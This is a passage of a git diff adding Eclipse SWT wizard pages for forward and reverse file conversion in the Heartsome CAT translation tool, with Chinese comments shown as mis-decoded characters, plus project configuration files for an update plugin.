segLabel.setText(Messages.getString("wizard.ConversionWizardPage.segLabel")); //$NON-NLS-1$ + + srxFile = new Text(segmentation, SWT.BORDER | SWT.READ_ONLY); + srxFile.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + srxFile.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setInitSegmenter(srxFile.getText()); + } + + validate(); + } + }); + + final Button segBrowse = new Button(segmentation, SWT.PUSH); + segBrowse.setText(Messages.getString("wizard.ConversionWizardPage.segBrowse")); //$NON-NLS-1$ + segBrowse.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + IConversionItemDialog conversionItemDialog = FileDialogFactoryFacade.createFileDialog(getShell(), + SWT.NONE); + int result = conversionItemDialog.open(); + if (result == IDialogConstants.OK_ID) { + IConversionItem conversionItem = conversionItemDialog.getConversionItem(); + srxFile.setText(conversionItem.getLocation().toOSString()); + } + } + }); + } + + /** + * 得到选中的类型 + * @param description + * æè¿°åå­— + * @return 类型åå­—; + */ + private String getSelectedFormat(String description) { + for (ConverterBean converterBean : supportTypes) { + if (description.equals(converterBean.getDescription())) { + return converterBean.getName(); + } + } + return ""; //$NON-NLS-1$ + } + + private void validate() { + if (conversionConfigBeans.size() == 0) { + setPageComplete(false); + return; + } + ConversionConfigBean cb = conversionConfigBeans.get(0); + if (cb.getHasSelTgtLangList() == null || cb.getHasSelTgtLangList().size() == 0) { + setPageComplete(false); + setErrorMessage(Messages.getString("wizard.ConversionWizardPage.msg1")); + return; + } + IStatus result = Status.OK_STATUS; + int line = 1; + for (ConverterViewModel converterViewModel : converterViewModels) { + result = converterViewModel.validate(); + if (!result.isOK()) { + break; + } + line++; + } + if (!result.isOK()) { + filesTable.setSelection(line - 1); + filesTable.notifyListeners(SWT.Selection, null); + setPageComplete(false); + setErrorMessage(MessageFormat.format(Messages.getString("wizard.ConversionWizardPage.msg2"), line) + + result.getMessage()); + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + + /** + * 创建文件列表区域 + * @param contents + * ; + */ + private Composite createFilesGroup(Composite contents) { + Composite filesComposite = new Composite(contents, SWT.NONE); + GridLayout gd = new GridLayout(2, false); + gd.marginWidth = 0; + filesComposite.setLayout(gd); + filesComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + filesTable = new Table(filesComposite, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + tableData.heightHint = 100; + filesTable.setLayoutData(tableData); + filesTable.setLinesVisible(true); + filesTable.setHeaderVisible(true); + + filesTable.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doSelectedEvent(); + } + }); + tableViewer = new TableViewer(filesTable); + + lineNumColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + lineNumColumn.setText(Messages.getString("wizard.ConversionWizardPage.lineNumColumn")); + + sourceColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + sourceColumn.setText(Messages.getString("wizard.ConversionWizardPage.sourceColumn")); + + formatColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + formatColumn.setText(Messages.getString("wizard.ConversionWizardPage.formatColumn")); + + srcEncColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + srcEncColumn.setText(Messages.getString("wizard.ConversionWizardPage.srcEncColumn")); + + IValueProperty[] valueProperties = BeanProperties.values(ConversionConfigBean.class, new String[] { "index", + "source", "fileType", "srcEncoding" }); + ViewerSupport.bind(tableViewer, new WritableList(conversionConfigBeans, ConversionConfigBean.class), + valueProperties); + + filesComposite.addPaintListener(new PaintListener() { + public void paintControl(PaintEvent arg0) { + int width = filesTable.getClientArea().width; + lineNumColumn.setWidth(width * 1 / 10); + sourceColumn.setWidth(width * 5 / 10); + formatColumn.setWidth(width * 3 / 10); + srcEncColumn.setWidth(width * 1 / 10); + } + }); + + Composite opComp = new Composite(filesComposite, SWT.NONE); + GridLayout opCompGl = new GridLayout(); + opCompGl.marginWidth = 0; + opCompGl.marginLeft = 0; + opCompGl.marginTop = 0; + opCompGl.marginHeight = 0; + opComp.setLayout(opCompGl); + + GridData gd_opComp = new GridData(); + gd_opComp.verticalAlignment = SWT.TOP; + opComp.setLayoutData(gd_opComp); + + Button addBt = new Button(opComp, SWT.NONE); + addBt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + addBt.setText(Messages.getString("wizard.ConversionWizardPage.addbutton")); + addBt.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileFolderSelectionDialog dialog = new FileFolderSelectionDialog(getShell(), true, IResource.FILE) { + // 打开对è¯æ¡†æ—¶å±•å¼€æ ‘形目录 + public void create() { + super.create(); + super.getTreeViewer().expandAll(); + } + }; + dialog.setMessage(Messages.getString("wizard.ConversionWizardPage.selectfiledialog.message")); + dialog.setTitle(Messages.getString("wizard.ConversionWizardPage.selectfiledialog.title")); + dialog.setDoubleClickSelects(true); + try { + dialog.setInput(EFS.getStore(ResourcesPlugin.getWorkspace().getRoot().getLocationURI())); + } catch (CoreException e1) { + LOGGER.error("", e1); + e1.printStackTrace(); + } + dialog.addFilter(new ViewerFilter() { + @Override + public boolean select(Viewer viewer, Object parentElement, Object element) { + if (element instanceof LocalFile) { + LocalFile folder = (LocalFile) element; + if (folder.getName().equalsIgnoreCase(".hsConfig") + || folder.getName().equalsIgnoreCase(".metadata")) { + return false; + } + String projectPath = currentProject.getLocation().toOSString(); + if (projectPath.equals(folder.toString())) { + return true; + } + String xliffFolderPath = folder.toString(); + String path1 = projectPath + File.separator + Constant.FOLDER_SRC; + if (xliffFolderPath.startsWith(path1)) { + for (ConversionConfigBean bean : conversionConfigBeans) { + if (xliffFolderPath.indexOf(bean.getSource()) != -1) { + return false; + } + } + return true; + } + } + return false; + } + }); + + dialog.create(); + dialog.open(); + if (dialog.getResult() != null) { + Object[] selectFiles = dialog.getResult(); + for (Object selectedFile : selectFiles) { + LocalFile folder = (LocalFile) selectedFile; + ConverterViewModel model = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + Object adapter = Platform.getAdapterManager().getAdapter( + ResourcesPlugin.getWorkspace().getRoot() + .getFileForLocation(Path.fromOSString(folder.toString())), + IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + model.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + + ConversionConfigBean bean = model.getConfigBean(); + bean.setSource(ResourceUtils.toWorkspacePath(folder.toString())); // åˆå§‹åŒ–æºæ–‡ä»¶è·¯å¾„ + bean.setSrcLang(srcLang); // åˆå§‹åŒ–æºè¯­è¨€ + bean.setTgtLangList(targetlanguage); + if (targetlanguage != null && targetlanguage.size() > 0) { + List lang = new ArrayList(); + lang.add(targetlanguage.get(0)); + bean.setHasSelTgtLangList(lang); + } + bean.setReplaceTarget(isReplaceTarget); + bean.setInitSegmenter(srxFile.getText()); + conversionConfigBeans.add(bean); + converterViewModels.add(model); + } + loadFiles(); + validate(); + tableViewer.refresh(); + } + } + }); + + Button removeBt = new Button(opComp, SWT.NONE); + removeBt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + removeBt.setText(Messages.getString("wizard.ConversionWizardPage.removebutton")); + removeBt.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (conversionConfigBeans.size() == 0) { + return; + } + ISelection sel = tableViewer.getSelection(); + if (sel.isEmpty()) { + MessageDialog.openError(getShell(), + Messages.getString("wizard.ConversionWizardPage.removebutton.msg1.title"), + Messages.getString("wizard.ConversionWizardPage.removebutton.msg1")); + return; + } + if (sel instanceof IStructuredSelection) { + IStructuredSelection ssel = (IStructuredSelection) sel; + Object[] objs = ssel.toArray(); + int index = conversionConfigBeans.indexOf(ssel.getFirstElement()); + index -= ssel.size(); + index = index < 0 ? 0 : index; + for (Object obj : objs) { + int i = conversionConfigBeans.indexOf(obj); + conversionConfigBeans.remove(i); + converterViewModels.remove(i); + } + loadFiles(); + tableViewer.refresh(); + if (!conversionConfigBeans.isEmpty()) { + tableViewer.getTable().select(index); + doSelectedEvent(); + } + validate(); + } + } + }); + + return filesComposite; + } + + private void doSelectedEvent() { + TableItem[] selected = filesTable.getSelection(); + if (selected.length == 0) { + return; + } + + String strSrcFormat = ""; //$NON-NLS-1$ + String strSrcEnc = ""; //$NON-NLS-1$ + for (int i = 0; i < selected.length; i++) { + String curFormat = selected[i].getText(2); + String curSrcEnc = selected[i].getText(3); + + if (i == 0) { + strSrcFormat = curFormat; + strSrcEnc = curSrcEnc; + } else { + if (!strSrcFormat.equals(curFormat)) { + strSrcFormat = ""; //$NON-NLS-1$ + } + + if (!strSrcEnc.equals(curSrcEnc)) { + strSrcEnc = ""; //$NON-NLS-1$ + } + } + } + + if (!"".equals(strSrcFormat)) { //$NON-NLS-1$ + formatCombo.setText(strSrcFormat); + } else { + formatCombo.deselectAll(); + } + + if (!"".equals(strSrcEnc)) { //$NON-NLS-1$ + srcEncCombo.setText(strSrcEnc); + } else { + srcEncCombo.deselectAll(); + } + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + WizardPageSupport.create(this, dbc); + ConversionConfigBean configBean = conversionConfigBeans.get(0); + + // bind the format + dbc.bindList(SWTObservables.observeItems(formatCombo), BeansObservables.observeList(configBean, "fileFormats")); //$NON-NLS-1$ + // final IObservableValue format = BeansObservables.observeValue(selectedModel, "selectedType"); + // dbc.bindValue(SWTObservables.observeSelection(formatCombo), format); + + // bind the source encoding + dbc.bindList(SWTObservables.observeItems(srcEncCombo), BeansObservables.observeList(configBean, "pageEncoding")); //$NON-NLS-1$ + + } + + /** + * 加载文件数æ®ã€‚ + */ + private void loadFiles() { + for (int i = 0; i < conversionConfigBeans.size(); i++) { + ConversionConfigBean bean = conversionConfigBeans.get(i); + bean.setIndex((i + 1) + ""); + String source = bean.getSource(); + String sourceLocalPath = ConverterUtil.toLocalPath(source); + // 自动识别文件类型 + String format = FileFormatUtils.detectFormat(sourceLocalPath); + if (format == null) { + format = ""; //$NON-NLS-1$ + } + // 自动分æžæºæ–‡ä»¶ç¼–ç  + String srcEncValue = EncodingResolver.getEncoding(sourceLocalPath, format); + if (srcEncValue == null) { + srcEncValue = ""; //$NON-NLS-1$ + } + + bean.setEmbedSkl(FileFormatUtils.canEmbedSkl(format)); + + // XLIFF 文件路径 + String xliff = ""; //$NON-NLS-1$ + // 骨架文件路径 + String skeleton = ""; //$NON-NLS-1$ + //XLiff 文件夹 + String xliffDir = ""; + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_POSITIVE, sourceLocalPath); + xliff = resource.getXliffPath(); + skeleton = resource.getSkeletonPath(); + xliffDir = resource.getXliffDir(); + } catch (CoreException e) { + LOGGER.error("", e); + } + + if (!"".equals(format)) { //$NON-NLS-1$ + String name = getSelectedFormat(format); + if (name != null && !"".equals(name)) { //$NON-NLS-1$ + converterViewModels.get(i).setSelectedType(name); // 添加类型 + } + } + bean.setFileType(format); + bean.setSrcEncoding(srcEncValue); + bean.setXliffDir(xliffDir); + bean.setTarget(xliff); + bean.setSkeleton(ConverterUtil.toLocalPath(skeleton)); + } + } + + @Override + public void dispose() { + super.dispose(); + if (filesTable != null) { + filesTable.dispose(); + } + if (conversionConfigBeans != null) { + conversionConfigBeans.clear(); + conversionConfigBeans = null; + } + System.gc(); + } + + public boolean isOpenPreTrans() { + return this.isOpenPreTrans; + } + + public boolean isReplaceTarget() { + return isReplaceTarget; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java new file mode 100644 index 0000000..a146493 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizard.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.util.List; + +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.wizard.Wizard; + +/** + * 逆å‘转æ¢å‘导 + * @author weachy + * @since JDK1.5 + */ +public class ReverseConversionWizard extends Wizard { + + private List converterViewModels; + + private IProject project; + + /** + * æ­£å‘转æ¢å‘导构造函数 + * @param model + */ + public ReverseConversionWizard(List models, IProject projct) { + this.converterViewModels = models; + this.project = projct; + + setWindowTitle(Messages.getString("wizard.ReverseConversionWizard.title")); //$NON-NLS-1$ + + // 需è¦æ˜¾ç¤º progress monitor + setNeedsProgressMonitor(true); + } + + @Override + public void addPages() { + addPage(new ReverseConversionWizardPage(Messages.getString("wizard.ReverseConversionWizard.pageName"))); + // TODO 存储翻译到翻译记译库 + } + + @Override + public boolean performFinish() { + return true; + } + + /** + * 返回此å‘导对应的 view model + * @return ; + */ + public List getConverterViewModels() { + return converterViewModels; + } + + /** + * 返回此å‘导对应的 Project + * @return ; + */ + public IProject getProject() { + return project; + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java new file mode 100644 index 0000000..394f392 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ReverseConversionWizardPage.java @@ -0,0 +1,441 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.core.file.DocumentPropertiesKeys; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.property.value.IValueProperty; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.databinding.swt.SWTObservables; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目逆å‘转æ¢é€‰é¡¹é…置页 + * @author weachy + * @since JDK1.5 + */ +public class ReverseConversionWizardPage extends WizardPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(ReverseConversionWizardPage.class); + + private List converterViewModels; + + /** æºæ–‡ä»¶ç¼–ç åˆ—表 */ + private Combo tgtEncCombo; + + /** 如果已ç»å­˜åœ¨ï¼Œæ˜¯å¦è¦æ›¿æ¢ */ + private Button btnReplaceTarget; + + /** 文件列表 */ + private Table filesTable; + + private TableColumn lineNumberColumn; + + /** xliff 文件列 */ + private TableColumn xliffColumn; + + /** 目标编ç åˆ— */ + private TableColumn tgtEncColumn; + + /** 目标文件列 */ + private TableColumn targetColumn; + + private ArrayList conversionConfigBeans; + + private TableViewer tableViewer; + + /** + * æ­£å‘项目转æ¢é…置信æ¯é¡µçš„构造函数 + * @param pageName + */ + protected ReverseConversionWizardPage(String pageName) { + super(pageName); + setTitle(Messages.getString("wizard.ReverseConversionWizardPage.title")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/xliff-totarget-logo.png")); + } + + /** + * åˆå§‹åŒ–本页é¢éœ€è¦çš„æ•°æ® ; + */ + private void initData() { + ReverseConversionWizard wizard = (ReverseConversionWizard) getWizard(); + + converterViewModels = wizard.getConverterViewModels(); + conversionConfigBeans = new ArrayList(); + for (ConverterViewModel converterViewModel : converterViewModels) { + IConversionItem conversionItem = converterViewModel.getConversionItem(); + String xliff = ResourceUtils.toWorkspacePath(conversionItem.getLocation()); + + ConversionConfigBean bean = converterViewModel.getConfigBean(); + bean.setSource(xliff); + conversionConfigBeans.add(bean); + } + } + + public void createControl(Composite parent) { + initData(); // å…ˆåˆå§‹åŒ–本页é¢éœ€è¦çš„æ•°æ® + + Composite contents = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + createFilesGroup(contents); // 文件列表区域 + createPropertiesGroup(contents); // æºæ–‡ä»¶å±žæ€§åŒºåŸŸç»„ + createConversionOptionsGroup(contents); // 转æ¢é€‰é¡¹ç»„ + + bindValue(); // æ•°æ®ç»‘定 + + try { + loadFiles(); // 加载文件列表 + } catch (Exception e) { + e.printStackTrace(); + } + + filesTable.select(0); // é»˜è®¤é€‰ä¸­ç¬¬ä¸€è¡Œæ•°æ® + filesTable.notifyListeners(SWT.Selection, null); + + Dialog.applyDialogFont(parent); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(1).margins(defaultMargins.x, defaultMargins.y) + .generateLayout(contents); + + setControl(contents); + + validate(); + } + + private void createPropertiesGroup(Composite contents) { + Group langComposite = new Group(contents, SWT.NONE); + langComposite.setText(Messages.getString("wizard.ReverseConversionWizardPage.langComposite")); //$NON-NLS-1$ + langComposite.setLayout(new GridLayout(2, false)); + langComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label tgtEncLabel = new Label(langComposite, SWT.NONE); + tgtEncLabel.setText(Messages.getString("wizard.ReverseConversionWizardPage.tgtEncLabel")); //$NON-NLS-1$ + tgtEncCombo = new Combo(langComposite, SWT.DROP_DOWN | SWT.READ_ONLY); + tgtEncCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + tgtEncCombo.addSelectionListener(new SelectionAdapter() { + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setTargetEncoding(tgtEncCombo.getText()); + } + + validate(); + } + } + }); + } + + /** + * 转æ¢é€‰é¡¹ç»„ + * @param contents + * ; + */ + private void createConversionOptionsGroup(Composite contents) { + Group options = new Group(contents, SWT.NONE); + options.setText(Messages.getString("wizard.ReverseConversionWizardPage.options")); + options.setLayout(new GridLayout()); + options.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnReplaceTarget = new Button(options, SWT.CHECK); + btnReplaceTarget.setText(Messages.getString("wizard.ReverseConversionWizardPage.btnReplaceTarget")); + btnReplaceTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnReplaceTarget.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setReplaceTarget(btnReplaceTarget.getSelection()); + } + + validate(); + } + }); + } + + /** XLFHandler 对象 */ + XLFHandler xlfHandler = new XLFHandler(); + + /** å®Œæˆ */ + private boolean complete = false; + + /** é”™è¯¯ä¿¡æ¯ */ + private String errorMessage = null; + + /** + * 验è¯æ–¹æ³• ; + */ + private void validate() { + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName(Messages.getString("wizard.ReverseConversionWizardPage.task1")); + monitor.beginTask(Messages.getString("wizard.ReverseConversionWizardPage.task2"), converterViewModels.size()); + IStatus result = Status.OK_STATUS; + int line = 1; + for (ConverterViewModel converterViewModel : converterViewModels) { + String xliff = converterViewModel.getConversionItem().getLocation().toOSString(); + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + result = converterViewModel.validateXliffFile(xliff, xlfHandler, subMonitor); + if (!result.isOK()) { + break; + } + result = converterViewModel.validate(); + if (!result.isOK()) { + break; + } + line++; + } + monitor.done(); + final IStatus validateResult = result; + final int i = line; + if (validateResult.isOK()) { + complete = true; + errorMessage = null; + } else { + complete = false; + errorMessage = MessageFormat.format(Messages.getString("wizard.ReverseConversionWizardPage.msg1"), i) + validateResult.getMessage(); + } + } + }; + try { + // éªŒè¯ xliff 文件比较耗时,需把他放到åŽå°çº¿ç¨‹è¿›è¡Œå¤„ç†ã€‚ + // new ProgressMonitorDialog(shell).run(true, true, runnable); + getContainer().run(true, true, runnable); + + setErrorMessage(errorMessage); + setPageComplete(complete); + } catch (InvocationTargetException e) { + LOGGER.error("", e); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + /** + * 创建文件列表区域 + * @param contents + * ; + */ + private Composite createFilesGroup(Composite contents) { + Composite filesComposite = new Composite(contents, SWT.NONE); + filesComposite.setLayout(new GridLayout(1, false)); + filesComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + filesTable = new Table(filesComposite, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 100; + filesTable.setLayoutData(tableData); + filesTable.setLinesVisible(true); + filesTable.setHeaderVisible(true); + + filesTable.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + TableItem[] selected = filesTable.getSelection(); + if (selected.length == 0) { + return; + } + + String strTgtEnc = ""; //$NON-NLS-1$ + + for (int i = 0; i < selected.length; i++) { + String curTgtEnc = selected[i].getText(2); + if (i == 0) { + strTgtEnc = curTgtEnc; + } else { + if (!strTgtEnc.equals(curTgtEnc)) { + strTgtEnc = ""; //$NON-NLS-1$ + break; + } + } + } + + if (!"".equals(strTgtEnc)) { //$NON-NLS-1$ + tgtEncCombo.setText(strTgtEnc); + } else { + tgtEncCombo.deselectAll(); + } + } + }); + tableViewer = new TableViewer(filesTable); + + lineNumberColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + lineNumberColumn.setText(Messages.getString("wizard.ReverseConversionWizardPage.lineNumberColumn")); + + xliffColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + xliffColumn.setText(Messages.getString("wizard.ReverseConversionWizardPage.xliffColumn")); //$NON-NLS-1$ + + tgtEncColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + tgtEncColumn.setText(Messages.getString("wizard.ReverseConversionWizardPage.tgtEncColumn")); //$NON-NLS-1$ + + targetColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + targetColumn.setText(Messages.getString("wizard.ReverseConversionWizardPage.targetColumn")); //$NON-NLS-1$ + + IValueProperty[] valueProperties = BeanProperties.values(ConversionConfigBean.class, new String[] { + "index","source", "targetEncoding", "target" }); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + ViewerSupport.bind(tableViewer, new WritableList(conversionConfigBeans, ConversionConfigBean.class), + valueProperties); + + filesComposite.addPaintListener(new PaintListener() { + public void paintControl(PaintEvent arg0) { + int width = filesTable.getClientArea().width; + lineNumberColumn.setWidth(width * 1 / 10); + targetColumn.setWidth(width * 4 / 10); + tgtEncColumn.setWidth(width * 1 / 10); + xliffColumn.setWidth(width * 4 / 10); + } + }); + return filesComposite; + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + WizardPageSupport.create(this, dbc); + ConversionConfigBean configBean = conversionConfigBeans.get(0); + + // bind the target encoding + dbc.bindList(SWTObservables.observeItems(tgtEncCombo), BeansObservables.observeList(configBean, "pageEncoding")); //$NON-NLS-1$ + } + + /** + * 加载文件数æ®ã€‚ + */ + private void loadFiles() { + ArrayList xliffs = new ArrayList(conversionConfigBeans.size()); + for (int i = 0; i < conversionConfigBeans.size(); i++) { + String xliff = conversionConfigBeans.get(i).getSource(); + xliffs.add(ResourceUtils.toWorkspacePath(xliff)); + } + for (int i = 0; i < conversionConfigBeans.size(); i++) { + ConversionConfigBean bean = conversionConfigBeans.get(i); + bean.setIndex((i+1)+""); + + // 逆转æ¢æ—¶ï¼Œsource 其实是 XLIFF 文件。 + String xliff = bean.getSource(); + + String local = ConverterUtil.toLocalPath(xliff); + + // 目标文件 + String target; + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_REVERSE, local); + target = resource.getTargetPath(); + } catch (CoreException e) { + e.printStackTrace(); + target = ""; //$NON-NLS-1$ + } + + // ç›®æ ‡ç¼–ç  + String tgtEncValue = getTgtEncoding(local); + if (tgtEncValue == null) { + tgtEncValue = ""; //$NON-NLS-1$ + } + + bean.setSource(xliff); + bean.setTargetEncoding(tgtEncValue); + bean.setTarget(target); + } + } + + /** + * å–å¾—ç›®æ ‡æ–‡ä»¶çš„ç¼–ç  + * @param xliffPath + * @return ; + */ + private String getTgtEncoding(String xliffPath) { + XLFHandler handler = new XLFHandler(); + + Map resultMap = handler.openFile(xliffPath); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + return ""; //$NON-NLS-1$ + } + List> documentInfo = handler.getDocumentInfo(xliffPath); + if (documentInfo.size() > 0) { + return documentInfo.get(0).get(DocumentPropertiesKeys.ENCODING); + } + return ""; + } + + @Override + public void dispose() { + super.dispose(); + if (filesTable != null) { + filesTable.dispose(); + } + if (conversionConfigBeans != null) { + conversionConfigBeans.clear(); + conversionConfigBeans = null; + } + System.gc(); + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java new file mode 100644 index 0000000..0d2fdc4 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java @@ -0,0 +1,36 @@ +package net.heartsome.cat.convert.ui.wizard; + +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +/** + * æ­£å‘转æ¢çš„预翻译é…置页(该类未被调用,因此未åšå›½é™…化) + * @author cheney + * @since JDK1.6 + */ +public class TranslationWizardPage extends WizardPage { + + /** + * 预翻译é…置页构建函数 + * @param pageName + */ + protected TranslationWizardPage(String pageName) { + super(pageName); + setTitle("翻译相关的设置"); + setMessage("翻译相关的设置,待实现。"); + } + + public void createControl(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + Label label = new Label(composite, SWT.NONE); + label.setText("Test:"); + new Text(composite, SWT.BORDER); + GridLayoutFactory.swtDefaults().numColumns(2).generateLayout(composite); + setControl(composite); + } + +} diff --git a/ts/net.heartsome.cat.p2update/.classpath b/ts/net.heartsome.cat.p2update/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.p2update/.project b/ts/net.heartsome.cat.p2update/.project new file mode 100644 index 0000000..849b407 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.p2update + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + 